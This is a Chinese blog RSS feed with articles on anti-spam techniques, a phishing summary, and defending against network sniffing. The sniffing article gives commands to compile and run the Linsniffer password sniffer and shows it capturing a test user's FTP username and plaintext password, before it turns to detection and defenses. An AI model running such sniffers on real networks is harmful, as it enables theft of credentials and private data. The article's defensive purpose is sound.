<P>因此，采用Sender ID技术，其整个过程为：<BR>第一步，发件人撰写邮件并发送；<BR>第二步，邮件转移到接收邮件服务器；<BR>第三步，接收邮件服务器通过SenderID技术对发件人所声称的身份进行检查（该检查通过DNS的特定查询进行）；<BR>第四步，如果发现发信人所声称的身份和其发信地址相匹配，那么接收该邮件，否则对该邮件采取特定操作，比如直接拒收该邮件,或者作为垃圾邮件。</P>
<P>&nbsp;&nbsp;&nbsp; Sender ID技术实际上并不是根除垃圾邮件的法宝，它只是一个解决垃圾邮件发送源的技术，从本质上来说，并不能鉴定一个邮件是否是垃圾邮件。比如，垃圾邮件发送者可以通过注册廉价的域名来发送垃圾邮件，从技术的角度来看，一切都是符合规范的；还有，垃圾邮件发送者还可以通过别人的邮件服务器的漏洞转发其垃圾邮件，这同样是SenderID技术所不能解决的。</P>
<P>2.2.4、FairUCE技术<BR>&nbsp;&nbsp;&nbsp; FairUCE（Fair use of Unsolicited Commercial Email）由IBM开发，该技术使用网络领域的内置身份管理工具，通过分析电子邮件域名过滤并封锁垃圾邮件。<BR>&nbsp;&nbsp;&nbsp; FairUCE把收到的邮件同其源头的IP地址相链接--在电子邮件地址、电子邮件域和发送邮件的计算机之间建立起一种联系，以确定电子邮件的合法性。比如采用SPF或者其他方法。如果，能够找到关系，那么检查接受方的黑白名单，以及域名名声，以此决定对该邮件的操作，比如接收、拒绝等。</P>
<P>&nbsp;&nbsp;&nbsp; FairUCE还有一个功能，就是通过溯源找到垃圾邮件的发送源头，并且将那些传递过来的垃圾邮件再转回给发送源头，以此来打击垃圾邮件发送者。这种做法利弊都有。好处就是能够影响垃圾邮件发送源头的性能，坏处就是可能打击倒正常的服务器（比如被利用的）的正常工作，同时该功能又复制了大量垃圾流量。</P>
<P>2.2.5、局限性和缺点<BR>&nbsp;&nbsp;&nbsp; 这些解决方案都具有一定的可用性，但是也存在一些缺点：</P>
<P>**非主机或空的域名<BR>&nbsp;&nbsp;&nbsp; 反向查询方法要求邮件来自已知的并且信任的邮件服务器，而且对应合理IP地址（反向MX纪录）。但是，多数的域名实际上并不同完全静态的IP地址对应。通常情况下，个人和小公司也希望拥有自己的域名，但是，这并不能提供足够的IP地址来满足要求。DNS注册主机，比如GoDaddy，向那些没有主机或只有空域名的人提供免费邮件转发服务。尽管这种邮件转发服务只能管理接收的邮件，而不能提供邮件发送服务。</P>
<P>&nbsp;&nbsp;&nbsp; 反向查询解决方案对这些没有主机或者只有空域名的用户造成一些问题：<BR>&nbsp;&nbsp;&nbsp; &#183;没有反向MX记录。这些用户现在可以配置邮件客户端就可以用自己注册的域名能发送邮件。但是，要反向查询发送者域名的IP地址就根本找不到。特别是对于那些移动的、拨号的和其他会频繁改变自己IP地址的用户。<BR>&nbsp;&nbsp;&nbsp; &#183;不能发送邮件。要解决上面的问题，一个办法就是通过ISP的服务器来转发邮件，这样就可以提供一个反向MX纪录，但是，只要发送者的域名和ISP的域名不一样的时候，ISP现在是不会允许转发邮件的。<BR>&nbsp;&nbsp;&nbsp; 这两种情况下，这些用户都会被反向查询系统拦截掉。</P>
<P>**合法域名<BR>&nbsp;&nbsp;&nbsp; 能验证身份，并不一定就是合法的身份，比如：垃圾邮件发送者可以通过注册廉价的域名来发送垃圾邮件，从技术的角度来看，一切都是符合规范的；还有，目前很多垃圾邮件发送者可以通过别人的邮件服务器漏洞进入合法邮件系统来转发其垃圾邮件，这些问题对于验证查询来说还无法解决。</P>
<P>2.3、挑战<BR>&nbsp;&nbsp;&nbsp; 垃圾邮件发送者使用一些自动邮件发送软件每天可以产生数百万的邮件。挑战的技术通过延缓邮件处理过程，将可以阻碍大量邮件发送者。那些只发送少量邮件的正常用户不会受到明显的影响。但是，挑战的技术只在很少人使用的情况下获得了成功。如果在更普及的情况下，可能人们更关心的是是否会影响到邮件传递而不是会阻碍垃圾邮件。</P>
<P>&nbsp;&nbsp;&nbsp; 这里介绍两种主要的挑战形式：挑战-响应，和 计算性挑战（challenge-response and proposed computational challenges）</P>
<P>2.3.1&nbsp;&nbsp;&nbsp; 挑战-响应<BR>&nbsp;&nbsp;&nbsp; 挑战-响应（Challenge-Response：CR）系统保留着许可发送者的列表。一个新的邮件发送者发送的邮件将被临时保留下来而不立即被传递。然后向这个邮件发送者返回一封包含挑战的邮件（挑战可以是连接URL或者是要求回复）。当完成挑战后，新的发送者则被加入到许可发送者列表中。对于那些使用假邮件地址的垃圾邮件来说，它们不可能接收到挑战，而如果使用真实邮件地址的话，又不可能回复所有的挑战。但是，CR系统还是有许多局限性：</P>
<P>&nbsp;&nbsp;&nbsp; CR死锁。假如Alice告诉Bill要给朋友Charlie发送邮件。Bill发送一个邮件给Charlie，Charlie的CR系统临时中断邮件并发送给Bill一个挑战。但是Bill的CR系统又会中断Charlie这里发送出来的挑战邮件，并发送自己的挑战。因此，结果就是，用户都没有接收到挑战，而且用户也无法回复邮件。而且用户也无法知道，在挑战过程中发生了问题。因此，如果双方都使用CR系统的话，他们就可能根本无法进行沟通。<BR>&nbsp;&nbsp;&nbsp; 自动系统问题。邮件列表或者那些自动系统，比如一些网站的"发送给朋友&#8230;&#8230;"功能，就不可能回应挑战。<BR>&nbsp;&nbsp;&nbsp; 解释挑战。许多CR系统都执行解释性挑战。这些复杂的CR系统包含了字符识别和参数匹配，但是即便如此，还是能够进行自动化操作。比如，Yahoo的CR系统在创建新邮件账号的时候，对于那些有简单智能字符分析的系统是存在漏洞的。Hushmail的邮件CR系统要求从蓝背景图片中找出指定的图形（分析背景，找出图形，提交坐标，这是可能的）</P>
<P>&nbsp;&nbsp;&nbsp; 这些在市场宣传神化中强调了两点：1、人们必须得提供挑战，2、这些问题都非常复杂而不太可能自动化操作。但是实际上，多数的垃圾邮件发送者完全不理睬了这些CR系统，因为他们主要是担心没有大量的接收者，而不是担心挑战太复杂。许多垃圾邮件发送者也使用有效的邮件地址。当CR系统会干扰垃圾邮件的时候，那些发送者也会找出自动化搞定这些挑战的办法的。</P>
<P>2.3.2、计算性挑战<BR>&nbsp;&nbsp;&nbsp; 现在也提出了一些计算性挑战方案Computational Challenge (CC)，如，通过增加发送邮件的"费用"。多数CC系统使用复杂的算法来有意拖延时间。对于单个用户来说，这种拖延很难被察觉，但是对于发送大量邮件的垃圾邮件发送者来说，这就意味着要花费很多时间了。CC系统的实例，如Hash Cash (<A href="http://www.cypherspace.org/adam/hashcash/">http://www.cypherspace.org/adam/hashcash/</A>)。但是，即便如此，CC系统还是会影响快速通讯而不仅仅影响垃圾邮件。这些局限包括：</P>
<P>&nbsp;&nbsp;&nbsp; &#183;不平等影响。计算性挑战是以CPU、内存和网络为基础的，比如，在1Ghz计算机上挑战可能花费10秒，但是在500Mhz上就需要花费20秒了。<BR>&nbsp;&nbsp;&nbsp; &#183;邮件列表。许多邮件列表都有数千，甚至数百万的接受者。比如BugTraq，就可能会被看作垃圾邮件了。CC系统来处理邮件列表是不现实的。如果垃圾邮件发送有办法通过合法的邮件列表来绕过挑战，那么他们也就有办法绕过其他的挑战了。<BR>&nbsp;&nbsp;&nbsp; &#183;机器人程序。Sobig或者其他象垃圾邮件一样的病毒，能让垃圾邮件发送者控制大量的机器。这就让他们能够用大量的系统来均衡"费用"了。<BR>&nbsp;&nbsp;&nbsp; &#183;合法的机器人程序。垃圾邮件发送者发送垃圾邮件是因为会给他们带来收入。如果这些人联合起来，就可能提供大量的系统来分担"费用"，这完全是合法的，而且不需要通过病毒了。</P>
<P>&nbsp;&nbsp;&nbsp; 当前，计算性挑战还没有广泛应用，因为这种技术还不能解决spam问题，反而可能干扰正常用户。</P>
<P>2.4、密码术<BR>&nbsp;&nbsp;&nbsp; 现在提出了一些采用密码技术来验证邮件发送者的方案。从本质上来说，这些系统采用证书方式来提供证明。没有适当的证书，伪造的邮件就很容易被识别出来，下面就是一些研究中的密码解决办法：</P>
<P>&nbsp;&nbsp;&nbsp; AMTP. <A href="http://www.ietf.org/internet-drafts/draft-weinman-amtp-02.txt">http://www.ietf.org/internet-drafts/draft-weinman-amtp-02.txt</A> <BR>&nbsp;&nbsp;&nbsp; MTP. <A href="http://www.ietf.org/internet-drafts/draft-danisch-email-mtp-00.txt">http://www.ietf.org/internet-drafts/draft-danisch-email-mtp-00.txt</A> <BR>&nbsp;&nbsp;&nbsp; S/MIME and PGP/MIME. <A href="http://www.imc.org/smime-pgpmime.html">http://www.imc.org/smime-pgpmime.html</A> </P>
<P>&nbsp;&nbsp;&nbsp; 目前的邮件协议（SMTP）不能直接支持加密验证。研究中的解决方案扩展了SMTP（比如S/MIME，PGP/MIME和AMTP），还有一些其他的则打算代替现在的邮件体系，比如MTP。有趣的是，MTP的作者说到："SMTP已经有20多年历史了，然而近代的一些需求则在过去5到10年内发展起来。许多扩展都是针对SMTP的语句和语义，纯粹的SMTP不能满足这些需求，如果不改变SMTP的语句，是很难有所突破的。"但是，很多的扩展的SMTP实例恰恰表明了SMTP的可变性，而不是不变性，完全创造一个新的邮件传输协议并不是必须的。</P>
<P>&nbsp;&nbsp;&nbsp; 在采用证书的时候，比如X.509或TLS，某些证书管理机构必须得可用，但是，如果证书存储在DNS，那么私钥必须得在验证的时候可用。（换句话说，如果垃圾邮件发送者可以访问这些私钥，那么他们就可以产生有效的公钥）。另一方面，也要用到主要的证书管理机构（CA），但是，邮件是一种分布式系统，没有人希望所有的邮件都由单独的CA来控制。一些解决办法因此允许多个CA系统，比如，X.509就会确定可用的CA服务器。这种扩展性也导致垃圾邮件发送者也可以运行着私有的CA服务器。</P>
<P>&nbsp;&nbsp;&nbsp; 如果没有证书管理机构，就需要其他的途径在发送者和接收者之间来分发密钥。比如，PGP，就可以预先共享公钥。在未连接网络或者比较封闭的群组中，这种办法是可行的，但是在大量个体使用的时候，就不是太适合，特别是对于需要建立新的联系的情况下。从本质上来说，预先共享密钥有些类似白名单的过滤器：只有彼此知道的人才能发送邮件。</P>
<P>&nbsp;&nbsp;&nbsp; 不幸的是，这些加密解决方案还不能阻止垃圾邮件，比如，假设其中的一种加密方案广泛被接受了。这些办法都不能确认邮件地址是真实的，而只是可以确认发送者有邮件的正确密钥。缺点就是：<BR>&nbsp;&nbsp;&nbsp; &#183;滥用自动化工具。如果在广大范围内被应用，就需要有一种办法为所有用户产生证书或者密钥（包括邮件服务器端，邮件客户端，依赖与相应的解决办法）系统很可能通过一种自动化的方法来提供密钥。可是，可以相信垃圾邮件发送者也会滥用任何自动化系统，并且用来发送经认证的垃圾邮件。<BR>&#183;可用性问题。这也有一些可用性的争论。比如，如果CA服务器不可用怎么办？邮件被挂起？退票？还是依然可用？垃圾邮件发送者近来对一半以上的提供黑名单网站进行了拒绝服务攻击，并导致这些网站都无法访问。显然，这些垃圾邮件发送者想阻止别人更新黑名单。对于单一的CA服务器，很显然也无法避免这样的命运。</P>
<P>3、总结<BR>&nbsp;&nbsp;&nbsp; 上面介绍了一些反垃圾邮件的技术，其实，现在很多反垃圾邮件方案所采用的都不会只是一种技术，而是多种多类技术的综合体。</P>
<P>&nbsp;&nbsp;&nbsp; 垃圾邮件的危害现在已经深入人心，反垃圾邮件也取得越来越多的成绩，比如，Scott Richter向微软赔款700万。不少国家也在为反垃圾邮件进行立法，以便能够得到法律上的支持。</P>
<P>&nbsp;&nbsp;&nbsp; 但从技术上来说，这跟反攻击一样，是一个正反双方的博弈过程，一种新的反垃圾邮件技术必然会出现一种对应得垃圾邮件技术，况且，任何一种技术，还没有办法去解决所有问题，技术的发展也将延续下去。<BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/225559.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/41802/" target="_blank">[新闻]微软Office 14即将展开Alpha测试</a>]]></description></item><item><title>实例解析网络钓鱼攻击的幕后</title><link>http://www.cnblogs.com/F4ncy/archive/2005/08/15/215630.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 15 Aug 2005 14:02:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/08/15/215630.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/215630.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/08/15/215630.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/215630.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/215630.html</trackback:ping><description><![CDATA[摘要: 实例解析网络钓鱼攻击的幕后网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件，意图引诱收信人给出敏感信息（如用户名、口令、帐号ID、ATM PIN码或信用卡详细信息）的一种攻击方式。最典型的网络钓鱼攻击将收信人引诱到一个通过精心设计与目标组织的网站非常相似的钓鱼网站上，并获取收信人在此网站上输入的个人敏感信息，通常这个攻击过程不会让受害者警觉。这些个人信息对黑客们具有非常大的吸引力&nbsp;&nbsp;<a href='http://www.cnblogs.com/F4ncy/archive/2005/08/15/215630.html'>阅读全文</a><img src ="http://www.cnblogs.com/F4ncy/aggbug/215630.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/41801/" target="_blank">[新闻]《星际争霸2》新图</a>]]></description></item><item><title>防范网络嗅探</title><link>http://www.cnblogs.com/F4ncy/archive/2005/08/15/215629.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 15 Aug 2005 13:56:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/08/15/215629.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/215629.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/08/15/215629.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/215629.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/215629.html</trackback:ping><description><![CDATA[<P>防范网络嗅探</P>
<P>作者：自由的猪</P>
<P>最普遍的安全威胁来自内部，同时这些威胁通常都是致命的，其破坏性也远大于外部威胁。其中网络嗅探对于安全防护一般的网络来说，操作简单同时威胁巨大，很多黑客也使用嗅探器进行网络入侵的渗透。 </P>
<P>网络嗅探器对信息安全的威胁来自其被动性和非干扰性，使得网络嗅探具有很强的隐蔽性，往往让网络信息泄密变得不容易被发现。本文分析了网络嗅探的原理，分析了一些实例，提出解决方案和介绍实践经验。 </P>
<P>一 嗅探器攻击原理 </P>
<P>嗅探器(sniffer) 是利用计算机的网络接口截获目的地为其他计算机的数据报文的一种技术。它工作在网络的底层，把网络传输的全部数据记录下来. 嗅探器可以帮助网络管理员查找网络漏洞和检测网络性能。嗅探器可以分析网络的流量,以便找出所关心的网络中潜在的问题。 </P>
<P>不同传输介质的网络的可监听性是不同的。一般来说，以太网被监听的可能性比较高，因为以太网是一个广播型的网络；FDDI Token被监听的可能性也比较高，尽管它并不是一个广播型网络，但带有令牌的那些数据包在传输过程中，平均要经过网络上一半的计算机；微波和无线网被监听的可能性同样比较高，因为无线电本身是一个广播型的传输媒介，弥散在空中的无线电信号可以被很轻易的截获。一般情况下，大多数的嗅探器至少能够分析下面的协议： </P>
<P>标准以太网 </P>
<P>TCP/IP </P>
<P>IPX </P>
<P>DECNET </P>
<P>FDDI Token </P>
<P>微波和无线网。 </P>
<P>实际应用中的嗅探器分软、硬两种。软件嗅探器便宜易于使用，缺点是往往无法抓取网络上所有的传输数据(比如碎片)，也就可能无法全面了解网络的故障和运行情况；硬件嗅探器的通常称为协议分析仪，它的优点恰恰是软件嗅探器所欠缺的，但是价格昂贵。目前主要使用的嗅探器是软件的。 </P>
<P>嗅探器捕获真实的网络报文。嗅探器通过将其置身于网络接口来达到这个目的--例如将以太网卡设置成杂收模式。数据在网络上是以帧(Frame)的单位传输的。帧通过特定的称为网络驱动程序的软件进行成型，然后通过网卡发送到网线上。通过网线到达它们的目的机器，在目的机器的一端执行相反的过程。接收端机器的以太网卡捕获到这些帧，并告诉操作系统帧的到达，然后对其进行存储。就是在这个传输和接收的过程中，每一个在LAN上的工作站都有其硬件地址。这些地址唯一地表示着网络上的机器。当用户发送一个报文时，这些报文就会发送到LAN上所有可用的机器。在一般情况下，网络上所有的机器都可以"听"到通过的流量，但对不属于自己的报文则不予响应。如果某在工作站的网络接口处于杂收模式，那么它就可以捕获网络上所有的报文和帧，如果一个工作站被配置成这样的方式，它（包括其软件）就是一个嗅探器。这也是嗅探器会造成安全方面的问题的原因。通常使用嗅探器的入侵者，都必须拥有基点用来放置嗅探器。对于外部入侵者来说，能通过入侵外网服务器、往内部工作站发送木马等获得需要，然后放置其嗅探器，而内部破坏者就能够直接获得嗅探器的放置点，比如使用附加的物理设备作为嗅探器(例如，他们可以将嗅探器接在网络的某个点上，而这个点通常用肉眼不容易发现。除非人为地对网络中的每一段网线进行检测，没有其他容易方法能够识别出这种连接(当然，网络拓扑映射工具能够检测到额外的IP地址)。</P>
<P>嗅探器可能造成的危害： </P>
<P>嗅探器能够捕获口令； </P>
<P>能够捕获专用的或者机密的信息； </P>
<P>可以用来危害网络邻居的安全，或者用来获取更高级别的访问权限； </P>
<P>分析网络结构，进行网络渗透。 </P>
<P>二 嗅探器攻击实例 </P>
<P>Linux、Unix环境下的嗅探器有：Tcpdump、Nmap、Linuxsniffer、hunt、sniffit 等。Linsniffer是一个简单实用的嗅探器。它主要的功能特点是用来捕捉用户名和密码，它在也这方面非常出色。注：编译该软件需要所在的Linux系统上必须的网络包含文件（tvp.h、ip.h、inet.hif_t、her.h）。 虽然这个工具易于使用，但是Linsniffer需要完整的IP头文件，包括常常存储在/usr/include/net和 /usr/include/netinet的头文件，在编译前确保PATH变量包含/usr/include。 </P>
<P>获得这个软件后，进入src目录，使用下面的命令来编译Linsniffer： $ cc linsniffer.c -o linsniffer </P>
<P>要运行Linsniffer，使用下面的命令：$ linsniffer </P>
<P>启动以后linsniffer将创建一个空文件：tcp.log来存储嗅探结果。 </P>
<P>举例说明，在一台测试的Linux服务器中创建一个名为&#8220;goodcjh&#8221;的用户，密码为&#8220;fad&#8221;。然后在主机CJH上使用该用户来登录这台Linux服务器，并进行一些常见的用户操作。下面是进行的一次ftp过程： </P>
<P>CJH$ ftp <A href="http://www.red.net/">www.red.net</A> <BR>Connected to <A href="http://www.red.net/">www.red.net</A>. <BR>220 <A href="http://www.red.net/">www.red.net</A> FTP server Wed Aug 19 02:55:52 MST 2002) ready. <BR>Name (<A href="http://www.red.net:root/">www.red.net:root</A>): goodcjh <BR>331 Password required for goodcjh. <BR>Password: <BR>230 User goodcjh logged in. <BR>Remote system type is UNIX. <BR>Using binary mode to transfer files. <BR>ftp&gt; ls -al <BR>200 PORT command successful. <BR>150 Opening ASCII mode data connection for /bin/ls. <BR>total 14 <BR>drwxrwxr-x 4 goodcjh goodcjh 1024 May 20 19:35 . <BR>drwxr-xr-x 6 root root 1024 May 20 19:28 .. <BR>-rw-rw-r-- 1 goodcjh goodcjh 96 May 20 19:56 .bash_history <BR>-rw-r--r-- 1 goodcjh goodcjh 49 Nov 25 2002 .bash_logout <BR>-rw-r--r-- 1 goodcjh goodcjh 913 Nov 24 2002 .bashrc <BR>-rw-r--r-- 1 goodcjh goodcjh 650 Nov 24 2002 .cshrc <BR>-rw-r--r-- 1 goodcjh goodcjh 111 Nov 3 2002 .inputrc <BR>-rwxr-xr-x 1 goodcjh goodcjh 186 Sep 1 2002 .kshrc <BR>-rw-r--r-- 1 goodcjh goodcjh 392 Jan 7 2002 .login <BR>-rw-r--r-- 1 goodcjh goodcjh 51 Nov 25 2002 .logout <BR>-rw-r--r-- 1 goodcjh goodcjh 341 Oct 13 2002 .profile <BR>-rwxr-xr-x 1 goodcjh goodcjh 182 Sep 1 2002 .profile.ksh <BR>drwxr-xr-x 2 goodcjh goodcjh 1024 May 14 12:16 .seyon <BR>drwxr-xr-x 3 goodcjh goodcjh 1024 May 14 12:15 lg <BR>226 Transfer complete. <BR>ftp&gt; ls <BR>200 PORT command successful. <BR>150 Opening ASCII mode data connection for /bin/ls. <BR>total 14 <BR>drwxrwxr-x 4 goodcjh goodcjh 1024 May 20 19:35 . <BR>drwxr-xr-x 6 root root 1024 May 20 19:28 .. <BR>-rw-rw-r-- 1 goodcjh goodcjh 96 May 20 19:56 .bash_history <BR>-rw-r--r-- 1 goodcjh goodcjh 49 Nov 25 2002 .bash_logout <BR>-rw-r--r-- 1 goodcjh goodcjh 913 Nov 24 2002 .bashrc <BR>-rw-r--r-- 1 goodcjh goodcjh 650 Nov 24 2002 .cshrc <BR>-rw-r--r-- 1 goodcjh goodcjh 111 Nov 3 2002 .inputrc <BR>-rwxr-xr-x 1 goodcjh goodcjh 186 Sep 1 2002 .kshrc <BR>-rw-r--r-- 1 goodcjh goodcjh 392 Jan 7 2002 .login <BR>-rw-r--r-- 1 goodcjh goodcjh 51 Nov 25 2002 .logout <BR>-rw-r--r-- 1 goodcjh goodcjh 341 Oct 13 2002 .profile <BR>-rwxr-xr-x 1 goodcjh goodcjh 182 Sep 1 2002 .profile.ksh <BR>drwxr-xr-x 2 goodcjh goodcjh 1024 May 14 12:16 .seyon <BR>drwxr-xr-x 3 goodcjh goodcjh 1024 May 14 12:15 lg <BR>226 Transfer complete. <BR>ftp&gt; ls -F <BR>200 PORT command successful. <BR>150 Opening ASCII mode data connection for /bin/ls. <BR>total 14 <BR>drwxrwxr-x 4 goodcjh goodcjh 1024 May 20 19:35 ./ <BR>drwxr-xr-x 6 root root 1024 May 20 19:28 ../rw-rw-r-- 1 goodcjh goodcjh 96 May 20 19:56 .bash_history <BR>-rw-r--r-- 1 goodcjh goodcjh 49 Nov 25 2002 .bash_logout <BR>-rw-r--r-- 1 goodcjh goodcjh 913 Nov 24 2002 .bashrc <BR>-rw-r--r-- 1 goodcjh goodcjh 650 Nov 24 2002 .cshrc <BR>-rw-r--r-- 1 goodcjh goodcjh 111 Nov 3 2002 .inputrc <BR>-rwxr-xr-x 1 goodcjh goodcjh 186 Sep 1 2002 .kshrc* <BR>-rw-r--r-- 1 goodcjh goodcjh 392 Jan 7 2002 .login <BR>-rw-r--r-- 1 goodcjh goodcjh 51 Nov 25 2002 .logout <BR>-rw-r--r-- 1 goodcjh goodcjh 341 Oct 13 2002 .profile <BR>-rwxr-xr-x 1 goodcjh goodcjh 182 Sep 1 2002 .profile.ksh* <BR>drwxr-xr-x 2 goodcjh goodcjh 1024 May 14 12:16 .seyon/ <BR>drwxr-xr-x 3 goodcjh goodcjh 1024 May 14 12:15 lg/ <BR>226 Transfer complete. <BR>ftp&gt; cd lg <BR>250 CWD command successful. <BR>ftp&gt; ls -F <BR>200 PORT command successful. <BR>150 Opening ASCII mode data connection for /bin/ls. <BR>total 8 <BR>drwxr-xr-x 3 goodcjh goodcjh 1024 May 14 12:15 ./ <BR>drwxrwxr-x 4 goodcjh goodcjh 1024 May 20 19:35 ../rw-r--r-- 1 goodcjh goodcjh 70 Aug 22 2002 lg3_colors <BR>-rw-r--r-- 1 goodcjh goodcjh 629 Aug 22 2002 lg3_prefs <BR>-rw-r--r-- 1 goodcjh goodcjh 728 Aug 22 2002 lg3_soundPref <BR>-rw-r--r-- 1 goodcjh goodcjh 2024 Aug 22 2002 lg3_startup <BR>drwxr-xr-x 2 goodcjh goodcjh 1024 May 14 12:15 lg_layouts/ <BR>226 Transfer complete. <BR>ftp&gt; cd lg_layouts <BR>250 CWD command successful.<BR>&nbsp;<BR>上面是一个典型的用户操作过程。现在我们看看Linsniffer产生的嗅探结果: </P>
<P>CJH =&gt; <A href="http://www.red.net/">www.red.net</A> [21] <BR>USER goodcjh <BR>PASS fad <BR>SYST <BR>PORT 172,16,0,1,4,192 <BR>LIST -al <BR>PORT 172,16,0,1,4,193 <BR>LIST <BR>PORT 172,16,0,1,4,194 <BR>LIST -F <BR>CWD lg <BR>PORT 172,16,0,1,4,195 <BR>LIST -F<BR>&nbsp;<BR>输出的内容是很直观的。首先它记录这是从主机 CJH 到 Linux 主机 <A href="http://www.red.net/">www.red.net</A> 的 FTP 连接：主机 CJH =&gt; linux.red.net [21]。然后，Linsniffer 捕获了 goodcjh 的用户名和密码。最后，Linsniffer 记录了用户 goodcjh 使用的每一个命令： </P>
<P>SYST <BR>PORT 172,16,0,1,4,192 <BR>LIST -al <BR>PORT 172,16,0,1,4,193 <BR>LIST <BR>PORT 172,16,0,1,4,194 <BR>LIST -F <BR>CWD lg <BR>PORT 172,16,0,1,4,195 <BR>LIST -F</P>
<P>可见，Linsniffer 的输出结果非常简洁，并且非常适于窃听密码及记录常见的活动。但缺点是不适合于进行更加复杂的分析。 </P>
<P>嗅探器可以帮助网络管理员查找网络漏洞和检测网络性能。嗅探器是一把双刃剑,它也有很大的危害性。嗅探器的攻击非常普遍。一个位置好的嗅探器可以捕获成千上万个口令。1994年一个最大的嗅探器攻击被发现. 这次攻击被认为是危害最大的一次，许多可以FTP，Telnet或远程登陆的主机系统都受到了危害。在这件事故(攻击者处于Rahul.net)中，嗅探器只运行18小时。在这段时间里，有几百台主机被泄密。&#8220;受攻击者包括268个站点，包括MIT、美国海军和空军、Sun、IBM、NASA、和加拿大、比利时大学一些主机&#8230;&#8230;&#8221; </P>
<P>三 嗅探器的安全防范 </P>
<P>1、检测嗅探器。 </P>
<P>检测嗅探器可以采用检测混杂模式网卡的工具。由于嗅探器需要将网络中入侵的网卡设置为混杂模式才能工作，能够检测混杂模式网卡的AntiSniff是一个工具。软件可以在<A href="http://www.l0pht.com/antisniff/">http://www.l0pht.com/antisniff/</A>下载，另外还有详细的使用说明。 </P>
<P>证明你的网络有嗅探器有两条经验： </P>
<P>网络通讯丢包率非常高： 通过一些网管软件，可以看到信息包传送情况，最简单是ping命令。它会告诉你掉了百分之多少的包。如果你的网络结构正常，而又有20％－30％数据包丢失以致数据包无法顺畅的流到目的地。就有可能有人在监听，这是由于嗅探器拦截数据包导致的。 </P>
<P>网络带宽出现反常：通过某些带宽控制器，可以实时看到目前网络带宽的分布情况，如果某台机器长时间的占用了较大的带宽，这台机器就有可能在监听。应该也可以察觉出网络通讯速度的变化。 </P>
<P>对于SunOS、和其它BSD Unix系统可以使用lsof(该命令显示打开的文件)来检测嗅探器的存在。lsof的最初的设计目地并非为了防止嗅探器入侵，但因为在嗅探器入侵的系统中，嗅探器会打开其输出文件，并不断传送信息给该文件，这样该文件的内容就会越来越大。如果利用lsof发现有文件的内容不断的增大，我们就怀疑系统被嗅探。因为大多数嗅探器都会把截获的"TCP/IP"数据写入自己的输出文件中。这里可以用：ifconfig le0检查端口.然后用： </P>
<P>＃/usr/sbin/lsof &gt;test </P>
<P>＃vi test 或 grep [打开的端口号] </P>
<P>检测文件大小的变化。 </P>
<P>注意如果你确信有人接了嗅探器到自己的网络上，可以去找一些进行验证的工具。这种工具称为时域反射计量器(Time Domaio Reflectometer，TDR)。TDR对电磁波的传播和变化进行测量。将一个TDR连接到网络上，能够检测到未授权的获取网络数据的设备。不过很多中小公司没有这种价格昂贵的工具。 </P>
<P>2、将数据隐藏，使嗅探器无法发现。 </P>
<P>嗅探器非常难以被发现, 因为它们是被动的程序一个老练的攻击者可以轻易通过破坏日志文件来掩盖信息。它们并不会给别人留下进行核查的尾巴.。完全主动的解决方案很难找到，我们可以采用一些被动的防御措施： </P>
<P>安全的拓扑结构； </P>
<P>会话加密； </P>
<P>用静态的ARP或者IP－MAC对应表代替动态的。 </P>
<P>安全的拓扑结构： </P>
<P>嗅探器只能在当前网络段上进行数据捕获。这就意味着，将网络分段工作进行得越细，嗅探器能够收集的信息就越少。但是，除非你的公司是一个ISP，或者资源相对不受限制，否则这样的解决方案需要很大的代价。网络分段需要昂贵的硬件设备。有三种网络设备是嗅探器不可能跨过的：交换机、路由器、网桥。我们可以通过灵活的运用这些设备来进行网络分段。大多数早期建立的内部网络都使用HUB集线器来连接多台工作站，这就为网络中数据的泛播(数据向所有工作站流通)，让嗅探器能顺利地工作提供了便利。普通的嗅探器程序只是简单地进行数据的捕获，因此需要杜绝网络数据的泛播。 随着交换机的价格下降，网络改造变得可行且很必要了。不使用HUB而用交换机来连接网络，就能有效地避免数据进行泛播，也就是避免让一个工作站接收任何非与之相关的数据。 对网络进行分段，比如在交换机上设置VLAN，使得网络隔离不必要的数据传送。一般可以采用20个工作站为一组，这是一个比较合理的数字。然后，每个月人为地对每段进行检测(也可以每个月采用MD5随机地对某个段进行检测)。网络分段只适应于中小的网络。如果有一个500个工作站的网络，分布在50个以上的部门中，那么完全的分段的成本上是很高的。 </P>
<P>会话加密： </P>
<P>会话加密提供了另外一种解决方案。不用特别地担心数据被嗅探，而是要想办法使得嗅探器不认识嗅探到的数据。这种方法的优点是明显的：即使攻击者嗅探到了数据，这些数据对他也是没有用的。S/key和其它一次性口令技术一样，使窃听帐号信息失去意义。S/key的原理是远程主机已得到一个口令（这个口令不会在不安全的网络中传输），当用户连接时会获得一个"挑战"(challenge)信息，用户将这个信息和口令经过某个算法运算，产生正确的"响应"(response)信息（如果通讯双方口令正确的话）。这种验证方式无需在网络中传输口令，而且相同的"挑战/响应"也不会出现两次。S/key可从以下网址得到：<A href="ftp://thumper.bellcore.com/pub/nmh/skey">ftp://thumper.bellcore.com/pub/nmh/skey</A>。它的缺点是所有帐号信息都存放在一台主机中，如果该主机被入侵，则会危及整个网络安全。另外配置它也不是一件简单的事情。Kerberos包括流加密rlogind和流加密telnetd等，它可以防止入侵者捕获用户在登录完成后所进行的操作。 在加密时有两个主要的问题：一个是技术问题，一个是人为问题。 </P>
